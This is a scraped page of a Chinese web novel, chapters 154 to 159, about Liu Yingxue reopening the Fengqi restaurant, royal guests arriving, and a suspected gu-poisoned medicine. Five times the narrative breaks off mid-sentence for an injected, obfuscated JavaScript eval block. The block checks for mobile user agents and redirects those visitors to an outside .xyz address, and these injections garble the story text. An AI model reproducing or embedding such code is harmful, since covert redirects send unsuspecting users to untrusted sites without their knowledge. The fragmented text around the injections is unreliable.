柳映雪立于二楼雅间,透过雕花窗棂望着楼下熙熙攘攘的人群。晓日的暖阳透过窗纱洒在她的侧脸,为她清冷的面容添了几分柔和。她轻轻抚过窗框上精致的雕花,唇角微扬。 这般热闹的场面,倒是省了她不少宣传的功夫。 “连秀,取笔墨来。”她收敛思绪,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744523|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身吩咐道。 “是,小姐。”连秀应声而去,脚步轻快。 不多时,连秀捧着文房四玉回来,还特意准备了一叠大红喜纸。她将东西在案几上摆放整齐,又为柳映雪研好墨。 柳映雪提笔蘸墨,在红纸上写下明日开业的优惠细则。笔走龙蛇间,她的心思却飘向了更远的地方。 楼下传来一阵喧哗,打断了她的思绪。她抬眸望去,只见几个小贩因争抢地盘起了争执。 “这地方向来是我摆摊的!” “谁规定的?这是大街,凭什么你说了算?” 眼看争执有升级的趋势,柳映雪蹙眉:“连秀,去处理一下。” 连秀领命而去,很快就平息了纷争。这丫头虽年纪不大,但处事圆滑,总能化解各种矛盾。 写罢优惠细则,柳映雪将红纸递给连秀:“去张贴在酒楼大门。” “小姐放心。”连秀接过红纸,快步下楼。 红纸一经张贴,立刻引来众人围观。人群中响起此起彼伏的惊呼声。 “这...这优惠也太大了吧?” “竟然还有免单?这是真的吗?” “这凤栖楼到底想干什么?” “我听说这是新东家接手后第一次开业。” “新东家?是谁啊?” “好像是个年轻姑娘。” 议论声越来越大,人群也越聚越多。有些人已经开始打听明天的座位预订。 柳映雪听着楼下的议论,走到窗边,望着街上熙攘的人群,心中暗自盘算着明日的准备工作。 就在这时,一阵马蹄声由远及近。街上的行人纷纷避让,让出一条通道。 一辆装饰华贵的马车缓缓驶来,车厢上绣着精美的纹饰,马具上挂着金铃,随着马儿的步伐发出清脆的声响。 车窗里探出一个红衣少年的脑袋,张扬耀眼。阳光下,他的发冠上镶嵌的玉石熠熠生辉。 第一百五十四章 请你们帮忙 “是玉太子。”柳映雪轻声道,眸中闪着深意。 她让连秀去将人从后门引上来,以免引起更大的骚动。 不多时,玉太子和东玉琳联袂而来。 “姐姐!”东玉琳一见柳映雪就热情地扑了过来,差点撞倒了一旁的茶具。 柳映雪扶住她,看着这个天真烂漫的南安公主,心中一软:“在四贡院住得可还习惯?” “挺好的,没人管着,想去哪儿就去哪儿。”东玉琳满不在乎地说,随手拿起桌上的点心就往嘴里塞。 “使臣们就这样放任你?”柳映雪蹙眉,给她倒了杯茶。 “他们才不会管我这个不受宠的公主呢。”东玉琳撇撇嘴,语气中带着几分不屑,“使臣是皇后的亲戚,对我向来爱答不理。” 玉太子在一旁嗤笑:“你这傻丫头,再怎么说你也是公主,怎能让他们如此怠慢?要不要本太子去给你撑腰?” “谁说我傻了!”东玉琳气鼓鼓地瞪他,腮帮子鼓得像只小仓鼠,“我只是懒得理会那些人罢了。再说了,我才不用你帮忙!” “好了好了,”玉太子笑嘻嘻地说,伸手揉了揉她的发顶,“你现在是本太子的丫鬟,有我罩着你。” 东玉琳打掉他的手:“谁是你丫鬟了!我可是堂堂南安公主!” “在青云你就是个小丫鬟。”玉太子得意地说,“怎么,不服气?要不要比试比试?” “比就比!”东玉琳撸起袖子就要动手。 柳映雪看着两人斗嘴,不禁莞尔。这两个人之间似乎有些不一样的情愫在萌芽,只是不知道,这份情愫最终能否开花结果。 “二位,”柳映雪开口打断他们的打闹,“明日酒楼开业,我想请你们帮个忙。” “姐姐尽管说!”东玉琳立刻应道,眼睛亮晶晶的。 “柳大小姐但说无妨。”玉太子也收起玩笑的神色,正色道。 柳映雪心中一暖:“有你们这句话,我就已经很感激了。” “姐姐太客气了。”东玉琳说着,又往嘴里塞了块点心,“这点心真好吃。” 玉太子却眨眨眼:“既然是朋友,是不是该有点表示?”说着,他意有所指地看向柳映雪的袖中。 柳映雪轻笑,从袖中取出一枚流星针放在桌上。这是她特制的暗器,做工精良,锋利无比。 玉太子眼前一亮,拿起飞镖仔细端详。阳光下,寒光闪烁。 “喜欢的话,送你几个。”柳映雪说。 “不用不用,”玉太子摆手,“我也有飞镖,只是没你的厉害。”说着,他取出自己的飞镖。 柳映雪接过细看,指出几处可以改进的地方:“这里的重心偏了些,飞行时会不稳。还有这个角度,可以再锐利些。” 玉太子听得连连点头,对这位柳大小姐的见识愈发佩服。 东玉琳站在旁边,不耐烦地瞪着玉太子。阳光透过树影斑驳地洒在她绣着金线的裙摆上,随风轻轻摇曳。 “够了够了,你再练下去天都黑了。”她不满地跺了跺脚,“姐姐已经给你指点完了,现在是时候听听姐姐的事情了。” 玉太子手中的飞镖在阳光下划出一道银光,稳稳钉在靶心上。他转身时额头还挂着细密的汗珠,眼中却闪着兴奋的光芒:“今天多亏柳大小姐指点,我总算找到窍门了。” “行了行了,”东玉琳不耐烦地摆摆手,“你那点小进步等会再说。姐姐,你快说有什么需要我们帮忙的。” 柳映雪看着眼前这对斗嘴的欢喜冤家,嘴角不自觉地扬起一抹笑意。阳光下,玉太子英气勃发,东玉琳活泼可爱,两人虽然总是争吵,却莫名地和谐。 “明日凤栖楼重新开张,”柳映雪轻声说道,“我想请二位前来捧场。” “就这么简单?”玉太子擦了擦额头的汗,有些诧异地问道。 东玉琳也歪着头,一双大眼睛忽闪忽闪:“姐姐,这算什么帮忙呢。让我们吃顿饭,这不是便宜了我们吗?” 柳映雪走到廊下的石凳旁坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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主厨连连点头:“大小姐放心,我们一定按照您的要求来。” 接着她又去找孙掌柜和青莲商议明日的安排。孙掌柜正在清点餐具,青莲则在整理账本。 第一百五十五章 开业 “明日开业,前五十名客人免单,”柳映雪说道,“号码牌都准备好了吗?” 青莲点点头:“都准备好了,而且我们还准备了一些小礼物,给排队的客人解闷。” “很好,”柳映雪欣慰地笑了,“你们想得很周到。” 就在这时,茶馆二楼,五皇子望着凤栖楼前熙熙攘攘的人群。 “去打听打听,他们在议论什么。”五皇子对身边的侍卫说道。 侍卫很快回来报告:“殿下,凤栖楼明日重新开张,前五十名客人免单。而且听说玉太子和南国公主都会来。” “哦?”五皇子轻笑,“这位柳大小姐,当真是个妙人。明日我们也去凑个热闹。” “可是殿下,”侍卫有些担忧,“这样皇上就知道您回来了。” “无妨。”五皇子神色淡然,手指轻轻敲击着桌面,“他早就知道我对那个位子没兴趣。明日用完膳,我们就进宫。” 夜幕降临,柳映雪才回到清溪居。 她进入空间饮下月露水,浑身的疲惫顿时消散。空间里,灵药散发着淡淡的清香,让人心神宁静。 她开始修炼,一遍又一遍地运转**。她深知暗处还有不少危险,丝毫不敢松懈。每一次呼吸,都让体内的灵力更加凝实。 次日清晨,天还未亮,柳映雪就带着青莲等人来到凤栖楼。 酒楼门前已经**了不少人,有人在窃窃私语。晨光中,人群时而骚动,时而安静。 “这酒楼可是死过人的,谁敢去啊。”一个老者摇着头说。 “听说有免单活动,而且太子和南国公主都会来。”旁边的年轻人反驳道。 “小命要紧,免单又有什么用。” “我看你们就是杞人忧天,那事不是都查清楚了吗?” 柳映雪站在二楼,望着楼下议论纷纷的人群,嘴角微扬。阳光渐渐升起,为整个街道镀上一层金色。 连秀站在小姐身后,眉头紧锁。窗外的阳光透过雕花窗棂洒落进来,在地面上投下斑驳的光影。她看着楼下渐渐**的人群,心中暗自焦急。昨日那玉太子和南公主不是说好午时要来吗?眼看时辰将至,却迟迟不见人影。 楼下的喧嚣声不断传来,街道上挤满了看热闹的百姓。有卖糖葫芦的小贩趁机吆喝,还有卖花的姑娘提着竹篮穿梭其中。凤栖楼前的石狮子被擦得锃亮,门口的红毯一直铺到大街上。 “小姐昨日与他们相谈甚欢,若是食言不来,岂不是要伤了小姐的心。”连秀低声嘟囔着,手中的帕子被她揉搓得起了褶皱。 柳映雪站在窗边,纤细的手指轻轻摩挲着窗框。她穿着一袭淡紫色的长裙,发髻间点缀着几颗珍珠,衬得整个人愈发清雅脱俗。 “他们一定会来的。”柳映雪轻声说道,语气中带着几分笃定。 此时的玉华四方馆内,东玉琳正与使臣对峙。馆内陈设富丽堂皇,檀木桌案上摆着精致的茶具,青烟袅袅升起。 “本公主想去哪里,还轮不到你来管!”东玉琳怒视着眼前这个不知好歹的老头,她今日特意换上了一身鹅黄色的裙装,本想着要去赴约,却被这老东西拦住。 使臣脸上挂着虚伪的笑容,眼角的皱纹堆叠在一起:“公主殿下的安危关系重大,微臣不得不谨慎。若是公主在青云国出了什么意外,微臣如何向陛下交代?” 他暗中使了个眼色,立刻有侍卫上前,将房门团团围住。刀剑出鞘的声音在安静的房间内格外刺耳。 东玉琳环顾四。她的手指在袖中轻轻摩挲着一枚玉佩,那是玉太子昨日给她的信物。 “公主还是莫要打什么歪主意。”使臣继续说道,声音里带着几分威胁,“四贡院周围都有官兵把守,若是误伤了公主,那可就...” 东玉琳气得直跺脚,裙摆随着她的动作轻轻晃动。她虽然没有武功在身,但也不是任人拿捏的软柿子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753415|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,她的贴身宫女巧玉向她递来眼色,示意玉太子已经备好了马车。巧玉的手中握着一把团扇,扇面上绣着几只蝴蝶,正轻轻煽动。 东玉琳心中了然,冷哼一声转身回了房间。房间内摆设精致,几案上还放着早上未用完的点心。 使臣得意地扬起嘴角,以为这位刁蛮公主终于服软。他正准备吩咐人看守好门口,谁知下一刻,房门猛地打开,一个青花瓷瓶破空而来! “砰!” 侍卫毫无防备,鼻梁当场被砸断,鲜血直流。他捂着脸倒在地上,发出痛苦的呻吟。 使臣还未反应过来,又一个花瓶精准地砸在他的额头上,直接晕了过去。瓷器碎片散落一地,混合着血迹,场面一片狼藉。 东玉琳趁机飞奔而出,裙摆翻飞,珠钗晃动。她刚跑到院子里,正巧遇到来寻她的玉太子。 玉太子一身玄色锦袍,腰间配着一柄长剑,英姿飒爽。他看着地上的两人,眼中闪过赞赏:“这是你干的?” “废话少说,赶紧走!要赴约了!”东玉琳拉着他就往外跑,脚步轻快。 与此同时,西幽国六皇子司云熠正在房中静养。窗外传来鸟儿的啼鸣,檀香袅袅升起。 “马车可安排妥当了?”他问向侍卫司霄,声音温和却带着不容置疑的威严。 司霄单膝跪地:“是的,属下已经将马车安置在远处,他们赶到酒楼应该来得及。” “很好。”司云熠轻轻点头,手指轻敲桌面,“继续盯着皇妹和二皇兄那边的动向。” 凤栖楼前,人声鼎沸。街道两旁挤满了看热闹的百姓,有小贩趁机叫卖,茶水点心的香气弥漫在空气中。 柳映雪站在楼上,目光始终未离开大街。阳光透过窗棂,在她脸上投下细碎的光影。她相信,那两个人一定会来。 远处,一队仪仗缓缓驶来。锣鼓声、号角声此起彼伏,马蹄声踏在青石板上发出清脆的响声。 第一百五十六章 五皇子也来了 摄政王萧寒瑾的专属马车在众人的注目中停在了酒楼门前。马车通体漆黑,车帘上绣着金线暗纹,车轮镶嵌着精美的花纹。紧随其后,又是一辆马车疾驰而至,马车上挂着凌国和南安国的旗帜。 “北陵国太子驾到!” “南安国公主驾到!” 围观的百姓瞬间沸腾。人群中爆发出阵阵惊呼,有人踮起脚尖想要看得更清楚些。 “萧寒瑾,有你真好。”她轻声呢喃,声音轻得仿佛一片羽毛落地。 人群中议论纷纷: “这凤栖楼什么来头?竟然能请动这么多贵人!” “连摄政王都到场了,这酒楼的东家怕是来头不小啊!” “我们待会也进去尝尝,看看这凤栖楼的菜品如何。” “听说这楼里的点心是城中一绝,今日定要好好品尝。” 马车缓缓停在酒楼门前,车轮碾过青石板路面发出细微的摩擦声。绿竹快步上前,恭敬地等候王爷下车,他的目光始终低垂,不敢有丝毫怠慢。 萧寒瑾迈步而下,周身气势凛然。他的每一个动作都透着与生俱来的贵气,仿佛连空气都在他面前变得凝滞。长袍下摆随风轻扬,勾勒出修长挺拔的身姿。 他刚一抬眸,便感受到一道灼热的视线。那视线仿佛带着某种魔力,让他不由自主地循着望去。 顺着那道目光,他正对上柳映雪含笑的眼眸。那双眼睛明亮如星,眼波流转间似有千言万语。 那一瞬间,萧寒瑾眼中的寒意消融,如冰雪消融般化作一汪晓水。他的目光变得柔和,嘴角不自觉地扬起一抹温柔的弧度。 柳映雪站在二楼雅间的窗边,目不转睛地看着楼下的人。今日的萧寒瑾格外惹眼,一身白色云锦长袍衬得他愈发清贵逼人。金丝**纹在阳光下熠熠生辉,每一道纹路都精致华美。袖口的腾云纹样更添几分贵气,衬得他如谪仙临尘。 她的目光顺着他的轮廓描摹,从他高挺的鼻梁到轮廓分明的下颌,再到那双总是带着几分清冷的眼眸。腰间白玉腰带上悬着的玲珑腰佩随着他的步伐轻轻晃动,发出细微的碰撞声。 这样的萧寒瑾,让在场的每个人都移不开眼。街边的小贩停下叫卖,路过的行人驻足观望,就连酒楼里的客人也都探头张望。 柳映雪见他还站在原地,忍不住朝他使了个眼色。她注意到周围已经**了不少年轻女子,有的掩面轻笑,有的大胆地打量。这些火热的目光让她心里泛起一丝醋意,指尖不自觉地捏紧了手中的帕子。 萧寒瑾似乎察觉到了她的情绪,嘴角的笑意更深。他大步朝酒楼走去,周身的气场让围观的人群不自觉地退让开来。 孙掌柜这才如梦初醒,连忙迎上前去:“王爷大驾光临,小的有失远迎,还望恕罪。”他弯着腰,额头上已经渗出细密的汗珠。 “不必多礼。”萧寒瑾淡淡开口,声音清冷却不失温和。 围观的百姓们还沉浸在方才的惊艳中,窃窃私语声此起彼伏。 “这就是传说中凶残暴虐的摄政王?”一个小贩忍不住低声问道。 “简直判若两人啊!”旁边的茶客连连摇头,“哪里像传闻中那般可怕。” “就是”一位老者捋着胡须感叹,“这般风姿,哪里像是那等凶残之人。” 正说话间,又一辆马车停下。车帘掀开,走下一位红衣男子和一位俏丽少女。男子气度不凡,举手投足间尽显贵气;少女明眸皓齿,眉眼间带着几分天真烂漫。 “玉太子,南公主,请随我上楼。”孙掌柜和青莲赶忙相迎,态度恭敬却不卑不亢。 众人这才想起,今日不仅有摄政王驾临,还有两国贵客。街边的议论声更大了,有人开始猜测这场聚会的用意。 不等他们议论完,又一辆皇子专用马车驶来。马车通体漆黑,车厢上绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753416|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着精美的云纹,车帘是上等的锦缎所制。 “是五皇子!”人群中有人惊呼。 这一声呼喊引来更多目光。只见一位身着湖蓝色直襟的俊美男子从马车上走下,举手投足间尽显皇家风范。他的面容与萧寒瑾有几分相似,却少了几分凌厉,多了几分温和。 柳映雪在楼上看到来人,忙让连秀去通知孙掌柜。她的目光在几位贵客之间游移,心中暗自盘算着该如何安排座次。 雅间内,萧寒瑾已经入座。他选了个靠窗的位置,目光若有所思地望着窗外的街景。阳光透过窗棂洒在他身上,为他镀上一层柔和的光晕。 玉太子和东玉琳却选了最远的位置坐下。两人的表情都有些拘谨,时不时偷瞄萧寒瑾一眼,又快速移开视线。 “你们坐那么远做什么?”柳映雪看着这一幕,忍俊不禁,“今日是我请客,不必拘谨。” 东玉琳听话地挪了一个位置,玉太子也跟着移动。但他们仍然保持着一定距离,似乎对萧寒瑾心存畏惧。 柳映雪看向萧寒瑾,眼中带着笑意。她发现这些人对萧寒瑾的态度很有趣,明明他今天表现得这么温和。 听到脚步声,柳映雪起身迎接五皇子。她的动作优雅大方,举止得体。 “五皇子能来,是我们的荣幸。”她微笑着说道。 “九皇叔。”五皇子向萧寒瑾行礼,声音恭敬中带着一丝紧张。 “坐吧。”萧寒瑾淡淡道,目光依旧望着窗外。 皇子紧挨着玉太子坐下,似乎在寻求某种安全感。这一幕让柳映雪忍不住在心里叹气,这些人怎么都离萧寒瑾那么远? 她让连秀准备茶水,又吩咐膳厨开始准备午膳。雅间里的气氛有些微妙,几位贵客都保持着沉默。 厨房里,众人得知贵客身份后,更加卯足了劲。大厨亲自掌勺,选用最新鲜的食材,力求每道菜品都完美呈现。 第一百五十七章 开业火爆 酒楼门口已经挤满了等候的食客。他们都听说今日有贵客光临,更有传言说会有免单的好事。绿竹在门口维持秩序,连秀忙着分发号码牌。 凤栖楼外的人群渐渐**,他们虽看不到里面的情形,但耳边不断传来的欢声笑语却格外清晰。阳光透过檐角洒落,将地面映照得斑驳陆离。 “恭喜这位客官,抽中半价优惠!”掌柜的声音从楼内传出。 “多谢掌柜的!”一位身着青衫的食客满面红光地从楼内走出。 街道两旁的行人纷纷驻足,投来羡慕的目光。门口的小二正忙着招呼客人,脸上的笑容比清晨的阳光还要灿烂。 “听说里面的菜品极好,那道玉凤鸭更是一绝。” “可不是嘛,就连送的小菜都这般美味,我方才尝了一口,回味无穷啊。” “瞧瞧那位刚出来的食客,那满足的模样,啧啧。” 人群中的议论声此起彼伏,方才还对凤栖楼**事件议论纷纷的百姓,此刻已经被眼前的热闹吸引。街边的小贩们也趁机吆喝起来,整条街道热闹非凡。 对面茶楼二楼,司微澜站在窗边,眼神阴冷地盯着楼下的景象。窗外的喧嚣仿佛与她隔着一道无形的屏障,衬得她更加孤寂。 她紧紧攥着手中的帕子,指节因用力而泛白,精致的绣花在她手中变得皱皱巴巴。阳光透过窗棂洒在她脸上,却照不进她阴郁的眼底。 这些愚蠢的贱民,给点甜头就忘记了昨日的事情。司微澜心中怒火翻涌,她费尽心思布下的局,竟被这般轻易化解。 “公主,要不要...”青珑小心翼翼地开口,话未说完就被打断。 “闭嘴!”司微澜厉声喝止,声音里带着显而易见的怒意。 青珑吓得缩了缩脖子,默默退到一旁。屋内的气氛顿时凝重起来,连窗外的喧闹声似乎都变得遥远。 司微澜深吸一口气,目光扫过楼下熙攘的人群,最后落在凤栖楼的匾额上。那块崭新的匾额在阳光下熠熠生辉,刺得她眼睛生疼。 “摄政王还真是用心,连这些事都替那个**操心。”她冷笑一声“还有那玉太子和南安公主,本该在使馆好好待着,偏要来凑这热闹。” 青珑垂首站在一旁,不敢接话。她看着自家主子的背影,心中暗暗叹息。 “回去吧。”司微澜转身,裙摆在地上划出一道优美的弧线,“那些事都安排好了?” “回公主,都已经妥当。”青珑连忙应声。 “很好。”司微澜嘴角勾起一抹冷笑。 另一间雅室内,檀香袅袅,茶香四溢。三皇子正与澄世子对坐品茶,两人之间的气氛却与司微澜那边截然不同。 “生玉,这柳大小姐倒是有些本事。”三皇子放下青花瓷茶盏,指尖轻轻摩挲着杯沿,“昨日听闻今日要开业,本王还不信。” 萧生玉执壶为三皇子续茶,动作优雅从容。“若非九皇叔亲自前来,这局面哪有这么快就转变。摄政王一出面,那些流言自然不攻自破。” “说的是。”三皇子点头,目光透过窗棂望向街道,“不过老五今日也来了,还特意乘坐皇子马车,倒是有趣。” “七皇子向来喜欢新鲜事物。”萧生玉若有所思,手指轻轻敲击着桌面,“不过,为一个酒楼如此兴师动众,倒是不像他的性子。” “莫非...” “三哥说的是。”萧生玉微微颔首,“五皇子对这位柳大小姐,怕是另有想法。只是不知道,这想法究竟是出于真心,还是别有用心。” 茶香渐渐散去,两人的谈话转向了即将到来的狩猎。 “明天就是猎杀的日子。”三皇子放下茶盏,语气中带着几分兴味,“父皇安排了不少大臣之女随行,还有两位和亲公主。这次的规模,比往年都要大。” “皇上这是给诸位皇子赐婚的机会。”萧生玉轻笑,“只是那西幽公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753417|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主对九叔一片痴心,不知皇上如何安排。” “父皇断不会将她指给九皇叔。”三皇子神色笃定,语气中带着几分不屑,“九皇叔的身份太过敏感,若是与西幽联姻,只怕朝中又要掀起一番风波。” “那三哥可有打算?”萧生玉给自己斟了一杯茶,茶水滚烫,氤氲的水汽模糊了他的表情。 “母后自有安排。”三皇子恢复了往日的从容,“只是这次狩猎,后宫除了母后,还有白贵妃和那位新晋的陈美府。” “陈美府?”萧生玉蹙眉,手中的动作顿了顿。 “一个得宠的宫女罢了。”三皇子不以为意地摆摆手,“没有家世背景,翻不起什么浪花。这种人,能得宠一时,却终究难以长久。” “三哥慎言。”萧生玉正色道,放下手中的茶盏,“能让皇上专宠,这位陈美府必有过人之处,不可轻视。后宫之事,最是难料。” 三皇子沉默片刻,“我会提醒母后留意。” 窗外的喧闹声依旧,街道上的人群却渐渐散去。阳光西斜,在地上拉出长长的影子。凤栖楼的生意依旧红火,一派欣欣向荣的景象。 柳映雪轻抿着茶水,听着楼下传来的喧闹声,心情格外舒畅。茶香沁人心脾,她的目光不经意间扫过桌上的残羹冷炙,唇角微微上扬。 今日的午膳,她吃得格外开心。不仅是因为菜品精致可口,更因为身边坐着的人。她偷偷瞥了一眼身旁的萧寒瑾,看着他优雅从容的举止,心头一暖。 玉太子放下筷子,意犹未尽地拍了拍肚子,脸上满是享受的神情:“柳大小姐,这些菜实在太美味了,尤其是那几道新品,简直让人欲罢不能。”他说着,还意犹未尽地舔了舔嘴唇。 “是啊姐姐,”东玉琳连连点头,眼中闪烁着光芒,双手捧着脸颊,一副陶醉的模样,“我都吃撑了。这道醉香骨酸甜适中,肉质酥软,一口咬下去都能感受到汤汁在口中迸发的美味。” 第一百五十八章 闲谈 柳映雪看着他们的反应,内心涌起一股成就感。她浅笑着说:“喜欢的话常来便是,以后你们来用膳,我给你们免单。” “这......”玉太子面露苦色,眉头微蹙,“可惜我过些日子就要回北陵国了,以后怕是吃不到这么美味的菜了。”说着,他还故意叹了口气,一副可怜兮兮的样子。 “说不定哪天我会把酒楼开到北凌国去。”柳映雪打趣道,眼角眉梢都带着笑意。 玉太子瞬间眼前一亮,整个人都精神了起来:“真的吗?那太好了!到时候我一定天天来。” 话音刚落,他就感受到一道冰冷的视线。那视线仿佛能将人冻住,让他不由自主地打了个寒颤。 玉太子讪讪一笑,赶紧补充:“放心,我会好好付钱的。”说着,还偷偷瞄了一眼萧寒瑾的脸色。 东玉琳忍不住翻了个白眼,小声嘀咕:“就你那饭量,不付钱怎么行。光是今天这顿,你就吃了我们三个人的量。” “你这丫头,”玉太子气结,指着东玉琳说道,“要不是我今天找来马车,你都来不了。再说了,你吃得也不少,那道琼玉藕,你可是连汤汁都舔干净了。” 东玉琳被说中心事,俏脸一红,嗔怪地瞪了玉太子一眼。 柳映雪听到马车二字,微微蹙眉:“马车?发生什么事了?”她的目光在两人之间来回扫视,察觉到事情并不简单。 玉太子收起玩笑的神色,将四贡院马车被支走的事情简单说了一遍。说到关键处时,他的语气中带着一丝愤怒:“那些人太过分了,居然敢这样对待东玉琳。” “姐姐,”东玉琳有些不好意思地说,小手绞着衣角,“我用花瓶把南安国的使者砸晕了,他的侍卫鼻子也受了点伤。”说到这里,她的声音越来越小,但眼中却闪着得意。 柳映雪担忧地看着她,伸手轻抚她的发丝:“会不会给你惹麻烦?毕竟他们是使臣,若是闹大了......” “不会的,”东玉琳摆摆手,“他们也不敢声张,要是让人知道使臣被自己国家的公主砸晕,多丢人。再说了,他们先欺负我的,我只是正当防卫。” 柳映雪心中了然,这定是司微澜在背后搞鬼。她的目光微微一沉,想起那日在宫中遇到司微澜时,对方眼中那抹算计的神色。 不过看来司微澜的如意算盘打空了。 “对了姐姐,”东玉琳突然愁眉苦脸,小脸皱成一团,“明日就要去打猎了,我既不会武功,又不擅长骑马射箭,怎么办?我连马都不敢骑,万一摔下来怎么办?” “跟着本太子就行,”玉太子拍着胸脯保证,一脸自信,“有我在,保你平安。就算有野兽来袭,我也能保护好你。” 柳映雪点头附和:“是啊,有玉太子和玉七他们保护你,不用担心。要是你不去,南安国使臣怕是会把你绑去。”她说着,还朝东玉琳眨了眨眼。 东玉琳撇了撇嘴,小脸皱成一团,显然对明天的狩猎充满了担忧。 柳映雪转头看向一直沉默的五皇子,他端坐在那里,举手投足间都透着一股书卷气。她轻声问道:“七幽生明日也去吗?” 五皇子淡然一笑,眼中带着几分疏离:“应该会去,不过我还没进宫去见父皇。这些日子在外游历,许多事情都不太清楚。” “你会去的,”萧寒瑾清冷的声音响起,语气中带着几分笃定,“皇上已经安排你和三皇子、四皇子负责女眷安全。” 柳映雪不解地看向他:“难道没有侍卫吗?为何要皇子负责?”她总觉得这其中另有隐情。 玉太子压低声音说道:“柳大小姐,这还不明显吗?皇上这是在给皇子们选妃呢。” 柳映雪心中一惊,下意识看向萧寒瑾。见他微微颔首,她才确信这个说法不假。 萧寒瑾淡淡道:“明日会有不少朝中大臣之女参加,无论她们嫁给哪位皇 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萧寒瑾察觉到她的目光,轻轻替她整理鬓角的碎发,温柔地问:“雪儿,在想什么?”他的动作轻柔,眼中满是宠溺。 五皇子起身告辞,衣袖轻拂,带起一阵清雅的香气。他面容温和“父皇还在等我复命,就先行告退了。” 玉太子和南公主也随之起身。玉太子整了整衣冠,目光若有所思地扫过萧寒瑾,“明日狩猎,不知王爷可有把握?” “太子殿下何出此言?”萧寒瑾端起茶盏,神色淡然。 “听闻王爷身子不适,”玉太子意味深长地笑了笑,“若是觉得为难,不如就此推辞?” 南公主在一旁轻轻咳嗽一声,“太子哥哥,我们还要去看那位昏迷的使臣。时候不早了。” 玉太子点头应允,转身时眼底闪过一抹算计。待他们离开后,雅间内只剩下柳映雪和萧寒瑾二人。 第一百五十九章 下蛊 檀香袅袅,茶香四溢。柳映雪望着眼前这个为她撑腰的男人,心头涌起一股暖意。她轻抚着茶盏边缘,“若不是你今日前来,恐怕这酒楼的生意不会如此红火。” “雪儿,”萧寒瑾放下茶盏,眸光温柔,“你我之间何须言谢?你是我未来的王妃,你的事情就是我的事情。” 话音刚落,门外传来一阵急促的敲门声。 “王爷,属下绿风有要事禀报。” 萧寒瑾眉头微蹙,“进来。” 绿风推门而入,手中端着一碗冒着热气的药汤。药香浓郁,却隐约带着一丝异样的气息。“王爷,这是华神医特意为您熬制的药汤。他说明日狩猎,您需得喝下此药,以防体内余毒发作。” “他又是怎么知道本**天要去打猎的呢?”萧寒瑾指节轻叩桌面。 绿风将华神医今日的行踪一一道来。那神医一早出府,与南安国的人秘密会面,随后才回府熬药。说话间,他的额头渗出细密的汗珠。 柳映雪听罢,立即起身查看那碗药汤。她纤细的手指捏着药碗,仔细闻了闻。药方虽然正常,但总觉得有一丝说不出的违和感。 “绿风,去把连秀叫来。”她放下药碗,眉头微蹙。 待绿风离开,萧寒瑾走到柳映雪身边,“雪儿,可是发现什么异常?” “我怀疑这药中有蛊。”柳映雪神色凝重,指尖轻轻点着药碗边缘,“连秀自小研究蛊术,让她来看看。” 很快,连秀便来到雅间。她身着淡青色衣裙,手持一根银针,神情专注地查看药汤。片刻后,她抬起头,眼中带着一丝忧虑,“小姐,这药中确有蛊卵,但一时难以分辨是何种蛊虫。” 柳映雪眼珠一转,吩咐绿风去后院取来一只公鸡。她站在窗边,望着楼下熙熙攘攘的街道,心中已有计较。 当绿风提着装有公鸡的麻袋回来时,柳映雪已经想好了主意。她让连秀将药汤灌入公鸡腹中,借此观察蛊虫的生长情况。 “小姐真是聪明。”连秀眼中闪着崇拜的光芒,“这样就能知道是什么蛊虫了。” “把这公鸡带回清溪居好生喂养。”柳映雪吩咐道,手指轻轻摩挲着茶盏,“等我们从狩围场回来,应该就能看到结果了。” 萧寒瑾看着自己的未婚妻,眼中尽是宠溺。这般机智的女子,正是他心仪的王妃。他伸手为她添了一杯茶,“雪儿,你总是这般细心。” 